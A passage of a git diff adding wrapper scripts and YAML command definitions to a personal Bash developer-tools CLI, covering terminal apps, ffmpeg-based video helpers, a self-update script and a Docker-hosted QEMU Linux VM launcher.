/dev/null +++ b/src/commands/tui/docker/kubernetes.sh @@ -0,0 +1 @@ +k9s \ No newline at end of file diff --git a/src/commands/tui/misc/ascii-theater.sh b/src/commands/tui/misc/ascii-theater.sh new file mode 100644 index 0000000..e98ad84 --- /dev/null +++ b/src/commands/tui/misc/ascii-theater.sh @@ -0,0 +1 @@ +ssh -o StrictHostKeyChecking=no watch.ascii.theater diff --git a/src/commands/tui/misc/calendar.sh b/src/commands/tui/misc/calendar.sh new file mode 100644 index 0000000..4a50595 --- /dev/null +++ b/src/commands/tui/misc/calendar.sh @@ -0,0 +1 @@ +calcure diff --git a/src/commands/tui/misc/dev-chat.sh b/src/commands/tui/misc/dev-chat.sh new file mode 100644 index 0000000..59e9ff2 --- /dev/null +++ b/src/commands/tui/misc/dev-chat.sh @@ -0,0 +1,2 @@ +# shellcheck disable=SC2154 +ssh "${args[nickname]}@devzat.hackclub.com" diff --git a/src/commands/tui/misc/file-manager.sh b/src/commands/tui/misc/file-manager.sh new file mode 100644 index 0000000..2bcded8 --- /dev/null +++ b/src/commands/tui/misc/file-manager.sh @@ -0,0 +1 @@ +nnn \ No newline at end of file diff --git a/src/commands/tui/misc/find-and-replace.sh b/src/commands/tui/misc/find-and-replace.sh new file mode 100644 index 0000000..fab07ae --- /dev/null +++ b/src/commands/tui/misc/find-and-replace.sh @@ -0,0 +1 @@ +scooter diff --git a/src/commands/tui/misc/jellyfin.sh b/src/commands/tui/misc/jellyfin.sh new file mode 100644 index 0000000..58b3a78 --- /dev/null +++ b/src/commands/tui/misc/jellyfin.sh @@ -0,0 +1 @@ +jellyfin-tui diff --git a/src/commands/tui/misc/linutil.sh b/src/commands/tui/misc/linutil.sh new file mode 100644 index 0000000..27b42f2 --- /dev/null +++ b/src/commands/tui/misc/linutil.sh @@ -0,0 +1 @@ +linutil diff --git a/src/commands/tui/misc/misc_commands.yml b/src/commands/tui/misc/misc_commands.yml new file mode 100644 index 0000000..6852c43 --- /dev/null +++ b/src/commands/tui/misc/misc_commands.yml @@ -0,0 +1,107 @@ +name: misc +help: TUIs for miscellaneous things +group: Miscellaneous TUIs + +commands: + - name: notes + help: Terminal-based Joplin client for notes (joplin) + dependencies: + joplin: See 'https://joplinapp.org/help/apps/terminal/' + + - name: presentation + help: Terminal-based presentations using Pandoc (patat) + dependencies: + patat: See 'https://github.com/jaspervdj/patat' + + - name: dev-chat + help: A custom SSH server that takes you to a chat instead of a shell prompt (ssh nickname@devzat.hackclub.com) + args: + - name: nickname + required: true + help: Nickname to use when joining the chat + + - name: file-manager + help: Terminal file manager (nnn) + dependencies: + nnn: See 'https://github.com/jarun/nnn' + + - name: screensaver + help: A terminal screensaver (ttysvr) + dependencies: + ttysvr: See 'https://github.com/cxreiff/ttysvr' + examples: + - ttysvr bubbles + - ttysvr logo dvd + - ttysvr logo tty + - ttysvr maze brick + - ttysvr maze hedge + - |- + # Run the screensaver after DELAY of seconds + # of inactivity in the current shell session + eval `ttysvr [VARIANT] --init [DELAY]` + - |- + # Cancel the screensaver in current shell session + eval `ttysvr --cancel` + + - name: weather + help: Displays the weather (wego) + dependencies: + wego: See 'https://github.com/schachmat/wego' + + - name: linutil + help: A collection of utilities for Linux (linutil) + dependencies: + linutil: See 'https://github.com/ChrisTitusTech/linutil' + + - name: slack + help: A terminal-based Slack client (slack-term) + dependencies: + slack-term: See 'https://github.com/jpbruinsslot/slack-term' + + - name: youtube-music + help: Play YouTube Music from the terminal (ytermusic) + dependencies: + ytermusic: See 'https://github.com/ccgauche/ytermusic' + + - name: youtube-music-2 + help: Play YouTube Music from the terminal (ytui_music) + dependencies: + ytui_music: See 'https://github.com/sudipghimire533/ytui-music' + + - name: jellyfin + help: Play music from your Jellyfin server in the terminal (jellyfin-tui) + dependencies: + jellyfin-tui: See 'https://github.com/dhonus/jellyfin-tui' + + - name: visualizations + help: Audio visualizations in the terminal (vis) + dependencies: + vis: See 'https://github.com/PosixAlchemist/cli-visualizer#' + + - name: visualizations-2 + help: Audio visualizations in the terminal (cava) + dependencies: + cava: See 'https://github.com/karlstav/cava' + + - name: find-and-replace + help: Interactive find and replace in the terminal (scooter) + dependencies: + scooter: See 'https://github.com/thomasschafer/scooter' + + - name: ascii-theater + help: Watch movies in your terminal with ASCII art! (ssh into watch.ascii.theater) + + - name: calendar + help: View your calendars in the terminal (calcure) + dependencies: + calcure: See 'https://anufrievroman.gitbook.io/calcure' + + - name: piano + help: A piano in your terminal (upiano) + dependencies: + upiano: See 'https://github.com/eliasdorneles/upiano' + + - name: servarr + help: A TUI and CLI for managing *arr servers (managarr) + dependencies: + managarr: See 'https://github.com/Dark-Alex-17/managarr' diff --git a/src/commands/tui/misc/notes.sh b/src/commands/tui/misc/notes.sh new file mode 100644 index 0000000..21cd9cf --- /dev/null +++ b/src/commands/tui/misc/notes.sh @@ -0,0 +1 @@ +joplin diff --git a/src/commands/tui/misc/piano.sh b/src/commands/tui/misc/piano.sh new file mode 100644 index 0000000..8f340fe --- /dev/null +++ b/src/commands/tui/misc/piano.sh @@ -0,0 +1 @@ +upiano diff --git a/src/commands/tui/misc/presentation.sh b/src/commands/tui/misc/presentation.sh new file mode 100644 index 0000000..e638267 --- /dev/null +++ b/src/commands/tui/misc/presentation.sh @@ -0,0 +1 @@ +patat diff --git a/src/commands/tui/misc/screensaver.sh b/src/commands/tui/misc/screensaver.sh new file mode 100644 index 0000000..021ced1 --- /dev/null +++ b/src/commands/tui/misc/screensaver.sh @@ -0,0 +1,2 @@ +#!/bin/bash +ttysvr diff --git a/src/commands/tui/misc/servarr.sh b/src/commands/tui/misc/servarr.sh new file mode 100644 index 0000000..2a2ad7b --- /dev/null +++ b/src/commands/tui/misc/servarr.sh @@ -0,0 +1,5 @@ +echo "# This file is located at 'src/commands/tui/misc/servarr.sh'." +echo "# It contains the implementation for the 'dtools tui misc servarr' command." +echo "# The code you write here will be wrapped by a function named 'dtools_tui_misc_servarr_command()'." +echo "# Feel free to edit this file; your changes will persist when regenerating." +inspect_args diff --git a/src/commands/tui/misc/slack.sh b/src/commands/tui/misc/slack.sh new file mode 100644 index 0000000..a213cb8 --- /dev/null +++ b/src/commands/tui/misc/slack.sh @@ -0,0 +1 @@ +slack-term diff --git a/src/commands/tui/misc/visualizations-2.sh b/src/commands/tui/misc/visualizations-2.sh new file mode 100644 index 0000000..ea57582 --- /dev/null +++ b/src/commands/tui/misc/visualizations-2.sh @@ -0,0 +1 @@ +cava diff --git a/src/commands/tui/misc/visualizations.sh b/src/commands/tui/misc/visualizations.sh new file mode 100644 index 0000000..e645a6f --- /dev/null +++ b/src/commands/tui/misc/visualizations.sh @@ -0,0 +1 @@ +vis diff --git a/src/commands/tui/misc/weather.sh b/src/commands/tui/misc/weather.sh new file mode 100644 index 0000000..31782c3 --- /dev/null +++ b/src/commands/tui/misc/weather.sh @@ -0,0 +1 @@ +wego diff --git a/src/commands/tui/misc/youtube-music-2.sh b/src/commands/tui/misc/youtube-music-2.sh new file mode 100644 index 0000000..2a83bc6 --- /dev/null +++ b/src/commands/tui/misc/youtube-music-2.sh @@ -0,0 +1 @@ +ytui_music run diff --git a/src/commands/tui/misc/youtube-music.sh b/src/commands/tui/misc/youtube-music.sh new file mode 100644 index 0000000..ee1eef4 --- /dev/null +++ b/src/commands/tui/misc/youtube-music.sh @@ -0,0 +1 @@ +ytermusic diff --git a/src/commands/tui/monitoring/kernel-monitor.sh b/src/commands/tui/monitoring/kernel-monitor.sh new file mode 100644 index 0000000..d1bec8e --- /dev/null +++ b/src/commands/tui/monitoring/kernel-monitor.sh @@ -0,0 +1 @@ +kmon diff --git a/src/commands/tui/monitoring/monitoring_commands.yml b/src/commands/tui/monitoring/monitoring_commands.yml new file mode 100644 index 0000000..6ce77a3 --- /dev/null +++ b/src/commands/tui/monitoring/monitoring_commands.yml @@ -0,0 +1,19 @@ +name: monitoring +help: TUIs for monitoring systems +group: Monitoring TUIs + +commands: + - name: system-monitor + help: Interactive process viewer (btop) + dependencies: + btop: See 'https://github.com/aristocratos/btop' + + - name: pihole-monitor + help: Monitor your PiHole server (pimon) + dependencies: + pimon: See 'https://github.com/Scratchcat1/pimon' + + - name: kernel-monitor + help: Linux kernel manager and activity monitor (kmon) + dependencies: + kmon: See 'https://github.com/orhun/kmon' diff --git a/src/commands/tui/monitoring/pihole-monitor.sh b/src/commands/tui/monitoring/pihole-monitor.sh new file mode 100644 index 0000000..f7aea37 --- /dev/null +++ b/src/commands/tui/monitoring/pihole-monitor.sh @@ -0,0 +1 @@ +pimon \ No newline at end of file diff --git a/src/commands/tui/monitoring/productivity-timer.sh b/src/commands/tui/monitoring/productivity-timer.sh new file mode 100644 index 0000000..01cfeb0 --- /dev/null +++ b/src/commands/tui/monitoring/productivity-timer.sh @@ -0,0 +1 @@ +pt bootup && pt tui diff --git a/src/commands/tui/monitoring/system-monitor.sh b/src/commands/tui/monitoring/system-monitor.sh new file mode 100644 index 0000000..e4dd078 --- /dev/null +++ b/src/commands/tui/monitoring/system-monitor.sh @@ -0,0 +1 @@ +btop diff --git a/src/commands/tui/network-monitoring/ip-traffic.sh b/src/commands/tui/network-monitoring/ip-traffic.sh new file mode 100644 index 0000000..d9f88eb --- /dev/null +++ b/src/commands/tui/network-monitoring/ip-traffic.sh @@ -0,0 +1 @@ +iptraf \ No newline at end of file diff --git a/src/commands/tui/network-monitoring/netscanner.sh b/src/commands/tui/network-monitoring/netscanner.sh new file mode 100644 index 0000000..afe0145 --- /dev/null +++ b/src/commands/tui/network-monitoring/netscanner.sh @@ -0,0 +1 @@ +netscanner diff --git a/src/commands/tui/network-monitoring/network-diags.sh b/src/commands/tui/network-monitoring/network-diags.sh new file mode 100644 index 0000000..322c69e --- /dev/null +++ b/src/commands/tui/network-monitoring/network-diags.sh @@ -0,0 +1 @@ +trippy \ No newline at end of file diff --git a/src/commands/tui/network-monitoring/network_monitoring_commands.yml b/src/commands/tui/network-monitoring/network_monitoring_commands.yml new file mode 100644 index 0000000..e524036 --- /dev/null +++ b/src/commands/tui/network-monitoring/network_monitoring_commands.yml @@ -0,0 +1,29 @@ +name: network-monitoring +help: TUIs for monitoring network activities +group: Network Monitoring TUIs + +commands: + - name: wavemon + help: WiFi monitor to display stats about your current connection like signal strength (wavemon) + dependencies: + wavemon: See 'https://github.com/uoaerg/wavemon' + + - name: network-diags + help: Network diagnostic tool (trippy) + dependencies: + trippy: See 'https://github.com/fujiapple852/trippy' + + - name: ip-traffic + help: Monitor IP traffic (iptraf) + dependencies: + iptraf: See 'http://iptraf.seul.org/' + + - name: socket-stats + help: User-friendly and detailed socket statistics (neoss) + dependencies: + neoss: See 'https://github.com/PabloLec/neoss' + + - name: netscanner + help: Terminal network scanner and diagnostic tool (netscanner) + dependencies: + netscanner: See 'https://github.com/Chleba/netscanner' diff --git a/src/commands/tui/network-monitoring/socket-stats.sh b/src/commands/tui/network-monitoring/socket-stats.sh new file mode 100644 index 0000000..619d14b --- /dev/null +++ b/src/commands/tui/network-monitoring/socket-stats.sh @@ -0,0 +1 @@ +neoss \ No newline at end of file diff --git a/src/commands/tui/network-monitoring/wavemon.sh b/src/commands/tui/network-monitoring/wavemon.sh new file mode 100644 index 0000000..57bda95 --- /dev/null +++ b/src/commands/tui/network-monitoring/wavemon.sh @@ -0,0 +1 @@ +wavemon diff --git a/src/commands/tui/network/api-client.sh b/src/commands/tui/network/api-client.sh new file mode 100644 index 0000000..71ad253 --- /dev/null +++ b/src/commands/tui/network/api-client.sh @@ -0,0 +1 @@ +atac diff --git a/src/commands/tui/network/bluetooth-manager.sh b/src/commands/tui/network/bluetooth-manager.sh new file mode 100644 index 0000000..bd7b5b2 --- /dev/null +++ b/src/commands/tui/network/bluetooth-manager.sh @@ -0,0 +1 @@ +bluetuith diff --git a/src/commands/tui/network/carbonyl.sh b/src/commands/tui/network/carbonyl.sh new file mode 100644 index 0000000..aa5d48f --- /dev/null +++ b/src/commands/tui/network/carbonyl.sh @@ -0,0 +1 @@ +carbonyl diff --git a/src/commands/tui/network/elinks.sh b/src/commands/tui/network/elinks.sh new file mode 100644 index 0000000..05ea072 --- /dev/null +++ b/src/commands/tui/network/elinks.sh @@ -0,0 +1 @@ +elinks diff --git a/src/commands/tui/network/full-browser.sh b/src/commands/tui/network/full-browser.sh new file mode 100644 index 0000000..ff40730 --- /dev/null +++ b/src/commands/tui/network/full-browser.sh @@ -0,0 +1 @@ +docker run -it browsh/browsh \ No newline at end of file diff --git a/src/commands/tui/network/http-load-generator.sh b/src/commands/tui/network/http-load-generator.sh new file mode 100644 index 0000000..6cfe3b3 --- /dev/null +++ b/src/commands/tui/network/http-load-generator.sh @@ -0,0 +1 @@ +oha \ No newline at end of file diff --git a/src/commands/tui/network/http-request-client-2.sh b/src/commands/tui/network/http-request-client-2.sh new file mode 100644 index 0000000..029ef48 --- /dev/null +++ b/src/commands/tui/network/http-request-client-2.sh @@ -0,0 +1 @@ +slumber diff --git a/src/commands/tui/network/http-request-client.sh b/src/commands/tui/network/http-request-client.sh new file mode 100644 index 0000000..2c2bb57 --- /dev/null +++ b/src/commands/tui/network/http-request-client.sh @@ -0,0 +1 @@ +wuzz \ No newline at end of file diff --git a/src/commands/tui/network/lynx.sh b/src/commands/tui/network/lynx.sh new file mode 100644 index 0000000..3c7a330 --- /dev/null +++ b/src/commands/tui/network/lynx.sh @@ -0,0 +1 @@ +lynx diff --git a/src/commands/tui/network/mitm-proxy.sh b/src/commands/tui/network/mitm-proxy.sh new file mode 100644 index 0000000..aae6691 --- /dev/null +++ b/src/commands/tui/network/mitm-proxy.sh @@ -0,0 +1 @@ +mitmproxy \ No newline at end of file diff --git a/src/commands/tui/network/network-manager.sh b/src/commands/tui/network/network-manager.sh new file mode 100644 index 0000000..614ad35 --- /dev/null +++ b/src/commands/tui/network/network-manager.sh @@ -0,0 +1 @@ +nmtui diff --git a/src/commands/tui/network/network_commands.yml b/src/commands/tui/network/network_commands.yml new file mode 100644 index 0000000..e6e2340 --- /dev/null +++ b/src/commands/tui/network/network_commands.yml @@ -0,0 +1,84 @@ +name: network +help: TUIs for various network tools +group: Network TUIs + +commands: + - name: network-manager + help: TUI application for interacting with NetworkManager (nmtui) + dependencies: + nmtui: See 'https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/networking_guide/sec-configuring_ip_networking_with_nmtui' + + - name: bluetooth-manager + help: TUI-based bluetooth connection manager (bluetuith) + dependencies: + bluetuith: See 'https://github.com/bluetuith-org/bluetuith' + + - name: wireguard-config + help: TUI for managing WireGuard configuration files (wg-cmd) + dependencies: + wg-cmd: See 'https://github.com/andrianbdn/wg-cmd' + + - name: mitm-proxy + help: Interactive HTTP(S) proxy (mitmproxy) + dependencies: + mitmproxy: See 'https://www.mitmproxy.org/' + + - name: proxy + help: A powerful and flexible proxy CLI for capturing and inspecting HTTP(S) and WS(S) traffic, with TUI and WebUI (proxyfor) + dependencies: + proxyfor: See 'https://github.com/sigoden/proxyfor' + + - name: proxymock + help: Proxymock watches your app run and automatically creates isolation tests and realistic service mocksโ€”no scripts, no stubs, no flaky envs. (proxymock) + dependencies: + proxymock: See 'https://speedscale.com/proxymock/' + + - name: http-load-generator + help: HTTP load generator and stress tester (oha) + dependencies: + oha: See 'https://github.com/hatoo/oha' + + - name: ping + help: Ping but with a graph (gping) + dependencies: + gping: See 'https://github.com/orf/gping' + + - name: full-browser + help: Text based browser with images (browsh) + dependencies: + browsh: See 'https://www.brow.sh/' + + - name: elinks + help: WWW text browser (elinks) + dependencies: + elinks: See 'http://elinks.or.cz/' + + - name: w3m + help: Another text browser that's an alternative to elinks (w3m) + dependencies: + w3m: See 'https://github.com/acg/w3m' + + - name: lynx + help: Yet another text browser that's an alternative to elinks (lynx) + dependencies: + lynx: See 'https://lynx.browser.org/' + + - name: carbonyl + help: A Chromium-based in-terminal web browser (carbonyl) + dependencies: + carbonyl: See 'https://github.com/fathyb/carbonyl' + + - name: http-request-client + help: HTTP Request client like Postman (wuzz) + dependencies: + wuzz: See 'https://github.com/asciimoo/wuzz' + + - name: http-request-client-2 + help: HTTP request client like Postman or Insomnia (slumber) + dependencies: + slumber: See 'https://slumber.lucaspickering.me/' + + - name: api-client + help: A simple API client (Postman-like) (atac) + dependencies: + atac: See 'https://atac.julien-cpsn.com/' diff --git a/src/commands/tui/network/ping.sh b/src/commands/tui/network/ping.sh new file mode 100644 index 0000000..9ab6426 --- /dev/null +++ b/src/commands/tui/network/ping.sh @@ -0,0 +1 @@ +gping \ No newline at end of file diff --git a/src/commands/tui/network/proxy.sh b/src/commands/tui/network/proxy.sh new file mode 100644 index 0000000..e567c77 --- /dev/null +++ b/src/commands/tui/network/proxy.sh @@ -0,0 +1 @@ +proxyfor diff --git a/src/commands/tui/network/proxymock.sh b/src/commands/tui/network/proxymock.sh new file mode 100644 index 0000000..6a8ecd5 --- /dev/null +++ b/src/commands/tui/network/proxymock.sh @@ -0,0 +1 @@ +proxymock \ No newline at end of file diff --git a/src/commands/tui/network/w3m.sh b/src/commands/tui/network/w3m.sh new file mode 100644 index 0000000..625add0 --- /dev/null +++ b/src/commands/tui/network/w3m.sh @@ -0,0 +1 @@ +w3m diff --git a/src/commands/tui/network/wireguard-config.sh b/src/commands/tui/network/wireguard-config.sh new file mode 100644 index 0000000..0816f07 --- /dev/null +++ b/src/commands/tui/network/wireguard-config.sh @@ -0,0 +1 @@ +wg-cmd diff --git a/src/commands/tui/sandbox/desed.sh b/src/commands/tui/sandbox/desed.sh new file mode 100644 index 0000000..d6bf00a --- /dev/null +++ b/src/commands/tui/sandbox/desed.sh @@ -0,0 +1 @@ +desed diff --git a/src/commands/tui/sandbox/jqp.sh b/src/commands/tui/sandbox/jqp.sh new file mode 100644 index 0000000..4b50cdf --- /dev/null +++ b/src/commands/tui/sandbox/jqp.sh @@ -0,0 +1,2 @@ +# shellcheck disable=SC2154 +jqp -f "${args[json_file]}" diff --git a/src/commands/tui/sandbox/play.sh b/src/commands/tui/sandbox/play.sh new file mode 100644 index 0000000..82770ac --- /dev/null +++ b/src/commands/tui/sandbox/play.sh @@ -0,0 +1,4 @@ +# shellcheck disable=SC2154 +declare program="${args[program]}" + +play "$program" diff --git a/src/commands/tui/sandbox/regect.sh b/src/commands/tui/sandbox/regect.sh new file mode 100644 index 0000000..200579a --- /dev/null +++ b/src/commands/tui/sandbox/regect.sh @@ -0,0 +1 @@ +regect diff --git a/src/commands/tui/sandbox/sandbox_commands.yml b/src/commands/tui/sandbox/sandbox_commands.yml new file mode 100644 index 0000000..7522d4c --- /dev/null +++ b/src/commands/tui/sandbox/sandbox_commands.yml @@ -0,0 +1,40 @@ +name: sandbox +help: TUIs for sandboxing applications or experimentation +group: Sandbox TUIs + +commands: + - name: jqp + help: Visual jq query editor + dependencies: + jqp: See 'https://github.com/noahgorstein/jqp' + completions: + - + args: + - name: json_file + required: true + help: The JSON file to perform jq queries against + examples: + - dtools tui sandbox jqp ~/test.json + + - name: desed + help: A visual Sed IDE to help demystify SED scripts (desed) + dependencies: + desed: See 'https://github.com/SoptikHa2/desed' + + - name: play + help: A Visual sandbox for experimenting with sed, awk, and grep (play) + dependencies: + play: See 'https://github.com/paololazzari/play' + args: + - name: program + required: true + help: The program you want to play with + allowed: + - sed + - awk + - grep + + - name: regect + help: A Regex 101-like tool (regect) + dependencies: + regect: See 'https://github.com/kloki/regect' diff --git a/src/commands/tui/tui_commands.yml b/src/commands/tui/tui_commands.yml new file mode 100644 index 0000000..8bd7c7f --- /dev/null +++ b/src/commands/tui/tui_commands.yml @@ -0,0 +1,16 @@ +name: tui +help: TUIs (Documentation only) +group: TUI +expose: always + +commands: + - import: src/commands/tui/monitoring/monitoring_commands.yml + - import: src/commands/tui/network-monitoring/network_monitoring_commands.yml + - import: src/commands/tui/network/network_commands.yml + - import: src/commands/tui/docker/docker_commands.yml + - import: src/commands/tui/development/development_commands.yml + - import: src/commands/tui/dev-help/dev_help_commands.yml + - import: src/commands/tui/data/data_commands.yml + - import: src/commands/tui/misc/misc_commands.yml + - import: src/commands/tui/sandbox/sandbox_commands.yml + - import: src/commands/tui/ai/ai_commands.yml diff --git a/src/commands/update.sh b/src/commands/update.sh new file mode 100644 index 0000000..71cee86 --- /dev/null +++ b/src/commands/update.sh @@ -0,0 +1,25 @@ +set -e + +# shellcheck disable=SC2155 +declare current_directory="$(pwd)" + +return_to_previous_directory() { + cd "$current_directory" || exit +} + +trap 'return_to_previous_directory' EXIT + +cyan "Updating the devtools script" + +cd "$HOME/.local/share/devtools" || exit + +spinny-start +git remote update +spinny-stop + +if [[ $(git status -suno) ]]; then + yellow_bold "There are changes present in the repo. Please commit then before updating." +else + git pull + cyan_bold "Devtools was updated! Refresh completions to finish update: 'source ~/.bashrc'" +fi diff --git a/src/commands/video/boost-audio.sh b/src/commands/video/boost-audio.sh new file mode 100644 index 0000000..857d264 --- /dev/null +++ b/src/commands/video/boost-audio.sh @@ -0,0 +1,8 @@ +# shellcheck disable=SC2154 +declare video_file="${args[video_file]}" +# shellcheck disable=SC2154 +declare multiplier="${args[--multiplier]}" +# shellcheck disable=SC2154 +declare output_file="${args[--output-file]}" + +ffmpeg -i "$video_file" -vcodec copy -af "volume=2.0" "$output_file" diff --git a/src/commands/video/duration.sh b/src/commands/video/duration.sh new file mode 100644 index 0000000..8832d60 --- /dev/null +++ b/src/commands/video/duration.sh @@ -0,0 +1,4 @@ +# shellcheck disable=SC2154 +declare video_file="${args[video_file]}" + +ffprobe -v error -select_streams v:0 -show_entries stream=duration -of csv=p=0 "$video_file" diff --git a/src/commands/video/rip-audio.sh b/src/commands/video/rip-audio.sh new file mode 100644 index 0000000..774d002 --- /dev/null +++ b/src/commands/video/rip-audio.sh @@ -0,0 +1,8 @@ +# shellcheck disable=SC2154 +declare video_file="${args[video_file]}" +# shellcheck disable=SC2154 +declare output_file="${args[--output-file]}" +# shellcheck disable=SC2154 +declare title="${args[--title]:-$output_file}" + +ffmpeg -i "$video_file" -acodec libmp3lame -metadata TITLE="$title" "$output_file.mp3" diff --git a/src/commands/video/split-scenes.sh b/src/commands/video/split-scenes.sh new file mode 100644 index 0000000..99eba1b --- /dev/null +++ b/src/commands/video/split-scenes.sh @@ -0,0 +1,18 @@ +# shellcheck disable=SC2154 +declare video_file="${args[video_file]}" +# shellcheck disable=SC2154 +declare content_threshold="${args[--content-threshold]}" +# shellcheck disable=SC2154 +declare fade_threshold="${args[--fade-threshold]}" +# shellcheck disable=SC2154 +declare keep_duration="${args[--keep-duration]}" + +scenedetect --input "$video_file" detect-content --threshold "$content_threshold" detect-threshold --threshold "$fade_threshold" split-video + +for file in *."${video_file##*.}"; do + duration=$(ffprobe -v error -select_streams v:0 -show_entries stream=duration -of csv=p=0 "$file") + + if (( $(echo "$duration < $keep_duration" | bc -l) )); then + rm "$file" + fi +done diff --git a/src/commands/video/video_commands.yml b/src/commands/video/video_commands.yml new file mode 100644 index 0000000..4f8c92e --- /dev/null +++ b/src/commands/video/video_commands.yml @@ -0,0 +1,106 @@ +name: video +help: Video commands +group: Video +expose: always +dependencies: + +commands: + - name: rip-audio + help: Rip the audio from a video file. + dependencies: + ffmpeg: Install with 'brew install ffmpeg' + args: + - name: video_file + help: The video file to rip audio from + required: true + completions: + - + flags: + - long: --title + help: >- + The title of the track to add to metadata. + + This defaults to being the same as the name of the output file. + arg: title + - long: --output-file + help: The name of the output file (excluding the file extension). + arg: output_file + completions: + - + required: true + + - name: youtube + help: Download YouTube videos + dependencies: + youtube_dl: See 'https://github.com/ytdl-org/youtube-dl' + args: + - name: url + help: The URL of the video you wish to download + required: true + flags: + - long: --audio-only + help: Download only the audio from a YouTube video + - long: --playlist + help: Indicates that the specified URL is a playlist + + - name: split-scenes + help: Automatically detect and split scenes in the specified video file + dependencies: + scenedetect: See 'https://www.scenedetect.com/' + ffmpeg: Install with 'brew install ffmpeg' + ffprobe: See 'https://ffmpeg.org/ffprobe.html' + args: + - name: video_file + help: The video file to detect scenes in and to split into separate video files + required: true + flags: + - long: --content-threshold + help: The threshold for content detection + default: "130" + arg: content_threshold + - long: --fade-threshold + help: The threshold for fade in/out detection + default: "5" + arg: fade_threshold + - long: --keep-duration + help: The duration in seconds that a video file must be in order to be kept after splitting + default: "8" + arg: keep_duration + completions: + - + examples: + - dtools split-scenes file.mp4 --content-threshold 132 --fade-threshold 2 + - dtools split-scenes file.mp4 --content-threshold 130 --fade-threshold 5 + - dtools split-scenes file.mp4 --content-threshold 95 --fade-threshold 15 + - dtools split-scenes file.mp4 --content-threshold 115 --fade-threshold 15 + + - name: duration + help: Get the duration of a video file + dependencies: + ffprobe: See 'https://ffmpeg.org/ffprobe.html' + args: + - name: video_file + help: The video file to get the duration of + required: true + completions: + - + + - name: boost-audio + help: Boost the audio of the specified video file + dependencies: + ffmpeg: Install with 'brew install ffmpeg' + args: + - name: video_file + help: The video file whose audio you want to boost + required: true + completions: + - + flags: + - long: --multiplier + help: The amount to multiply the audio value by + default: "2.0" + arg: multiplier + - long: --output-file + help: Specify the output file name (including the file extension) + arg: output_file + required: true diff --git a/src/commands/video/youtube.sh b/src/commands/video/youtube.sh new file mode 100644 index 0000000..aa332e1 --- /dev/null +++ b/src/commands/video/youtube.sh @@ -0,0 +1,24 @@ +# shellcheck disable=SC2154 +declare url="${args[url]}" +declare playlist="${args[--playlist]}" + +if [[ "${args[--audio-only]}" == 1 ]]; then + if [[ $playlist == 1 ]]; then + sudo youtube-dl -f "bestaudio" \ + --continue \ + --no-overwrites \ + --ignore-errors \ + --extract-audio \ + --audio-format mp3 \ + -o "%(title)s.%(ext)s" \ + "$url" + else + sudo youtube-dl -x --audio-format mp3 "$url" + fi +else + if [[ $playlist == 1 ]]; then + sudo youtube-dl -cit "$url" + else + sudo youtube-dl "$url" + fi +fi diff --git a/src/commands/view-markdown.sh b/src/commands/view-markdown.sh new file mode 100644 index 0000000..bbf0940 --- /dev/null +++ b/src/commands/view-markdown.sh @@ -0,0 +1,2 @@ +# shellcheck disable=SC2154 +grip -b "${args[file]}" diff --git a/src/commands/vm/linux.sh b/src/commands/vm/linux.sh new file mode 100644 index 0000000..45acfdc --- /dev/null +++ b/src/commands/vm/linux.sh @@ -0,0 +1,121 @@ +# shellcheck disable=SC2154 +declare dist="${args[--dist]}" +# shellcheck disable=SC2154 +declare image_url="${args[--image-url]}" +# shellcheck disable=SC2154 +declare disk_size="${args[--disk-size]}" +# shellcheck disable=SC2154 +declare ram_size="${args[--ram-size]}" +# shellcheck disable=SC2154 +declare cpu_cores="${args[--cpu-cores]}" +# shellcheck disable=SC2154 +declare share_directory="${args[--share-directory]}" + +if [[ -n $dist ]]; then + image=$dist +else + image=$image_url +fi + +# shellcheck disable=SC2154 +declare persistent_dir_prefix="${args[--persistent-dir-prefix]:-$image}" + +if [[ "${args[--wipe-persistent-data]}" == 1 ]]; then + declare persistent_data_dir="$HOME/.vm/linux/$persistent_dir_prefix" + if [[ -d "$persistent_data_dir" ]]; then + yellow "Removing persisted session data for Linux ${image}..." + rm -rf "$persistent_data_dir" + else + red "There's no persisted Linux container (${image}) session in the specified persistent directory: $persistent_data_dir" + exit 1 + fi +fi + +if [[ "${args[--persistent]}" == 1 ]]; then + [[ -d "$HOME/.vm/linux/$persistent_dir_prefix" ]] || mkdir -p "$HOME/.vm/linux/$persistent_dir_prefix" +fi + +if [[ "${args[--no-gui]}" == 1 ]]; then + if [[ "${args[--persistent]}" == 1 ]]; then + docker run -it --rm \ + -v "$HOME/.vm/linux/$persistent_dir_prefix:/storage" \ + -p 8006:8006 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "BOOT=$image" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + qemux/qemu + else + docker run -it --rm \ + -p 8006:8006 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "BOOT=$image" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + qemux/qemu + fi +else + if [[ "${args[--persistent]}" == 1 ]]; then + container_id=$(docker run -it --rm \ + -v "$HOME/.vm/linux/$persistent_dir_prefix:/storage" \ + -p 8006:8006 \ + -p 5900:5900 \ + -p 3389:3389 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "BOOT=$image" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + qemux/qemu) + else + container_id=$(docker run -it --rm \ + -p 8006:8006 \ + -p 5900:5900 \ + -p 3389:3389 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "BOOT=$image" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + qemux/qemu) + fi + + cleanup() { + cyan "Stopping Linux container $container_id..." + docker stop "$container_id" > /dev/null + } + + trap cleanup EXIT + + until (docker logs "$container_id" 2>&1 | grep -qi "starting Boot.*from PciRoot\|starting Boot.*from HD"); do + blue "Waiting for Linux to boot..." + sleep 3 + done + + if [[ "${args[--use-rdp]}" == 1 ]]; then + yes | xfreerdp3 /v:localhost /u:"${args[--rdp-user]}" /p:"${args[--rdp-password]}" +dynamic-resolution + else + remmina -c vnc://localhost:5900 